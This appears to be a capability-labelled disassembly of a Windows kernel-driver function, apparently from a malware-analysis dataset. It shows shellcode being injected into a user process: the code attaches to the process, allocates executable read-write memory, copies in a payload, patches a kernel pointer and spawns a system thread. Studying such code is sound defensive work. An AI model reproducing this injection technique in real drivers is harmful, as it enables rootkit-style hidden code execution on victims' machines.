Function at 0x140004b80
Capabilities:
Allocate or change rwx memory
Attach user process memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push r14
push r15
lea rbp, [rsp - 0x3f]
sub rsp, 0x98
cmp dword [rcx + 0x10], 1
mov r15, r8
mov rbx, rdx
mov r14, rcx
je 0x140004bb2
xor al, al
add rsp, 0x98
pop r15
pop r14
pop rbx
pop rbp
ret
mov qword [rsp + 0xc8], rsi
test rbx, rbx
je 0x140004e09
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x140004e09
mov rsi, qword [rbx + 0x28]
sub rsi, 0x190
je 0x140004e09
mov rdx, qword [r14 + 0x20]
xor ecx, ecx
add rdx, 0x500
mov qword [rsp + 0x90], rdi
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rdi, rax
test rax, rax
je 0x140004c28
mov edx, 0x30
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
xor edx, edx
mov rcx, rdi
mov rbx, rax
test rax, rax
jne 0x140004c48
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor al, al
mov rdi, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xc8]
add rsp, 0x98
pop r15
pop r14
pop rbx
pop rbp
ret
xor eax, eax
mov dword [rbp - 0x11], 0x78b84850
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], rax
movups xmm0, xmmword [r14]
mov dword [rbp - 0xd], 0x78123456
mov dword [rbp - 9], 0x48123456
movups xmmword [rbx], xmm0
mov dword [rbp - 5], 0xff5800ff
movups xmm1, xmmword [r14 + 0x10]
mov dword [rbp - 1], 0x25
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [r14 + 0x20]
movups xmmword [rbx + 0x20], xmm0
mov r8, qword [rbx + 0x20]
add r8, 0x500
call fcn.140005e00
mov r8, qword [rbx + 0x20]
mov rcx, rdi
mov rdx, qword [rbx + 0x18]
call fcn.140005f00
mov rcx, qword [rbx + 0x20]
lea rdx, [rbp + 7]
movups xmm0, xmmword [rbp - 0x11]
mov eax, dword [rbp - 1]
movups xmmword [rcx + rdi], xmm0
mov dword [rcx + rdi + 0x10], eax
xor eax, eax
mov byte [rcx + rdi + 0x14], 0
mov rcx, r15
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rax
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x2f], rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
xor r14d, r14d
mov dword [rsp + 0x28], 0x40
mov qword [rbp + 0x67], r14
lea r9, [rbp - 0x19]
mov rax, qword [rbx + 0x20]
lea rdx, [rbp + 0x67]
add rax, 0x500
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
mov qword [rbp - 0x19], rax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
jns 0x140004d5f
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [rbp + 7]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
jmp 0x140004c28
mov r8, qword [rbx + 0x20]
mov rdx, rdi
mov rcx, qword [rbp + 0x67]
add r8, 0x500
call fcn.140005f00
mov rdx, qword [rbx + 0x20]
mov rcx, rdi
add rdx, qword [rbp + 0x67]
lea rax, [rdx + 0x1d]
mov qword [rdx + 3], rax
mov rax, qword [rsi + 0x168]
mov qword [rdx + 0x15], rax
xor edx, edx
mov rax, qword [rbp + 0x67]
mov qword [rsi + 0x168], rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [rbp + 7]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rbp + 0x67]
lea rcx, [rbp + 0x7f]
mov qword [rbp + 0x7f], r14
xor r9d, r9d
mov qword [rbx + 0x18], rax
xor r8d, r8d
mov rax, qword [rbx + 0x20]
mov edx, 0x1fffff
add rax, 0x1d
mov qword [rsp + 0x30], rbx
mov qword [rbx + 0x28], rax
lea rax, [0x140005bc0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
test eax, eax
js 0x140004e02
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
jmp 0x140004c2a
xor al, al
jmp 0x140004c32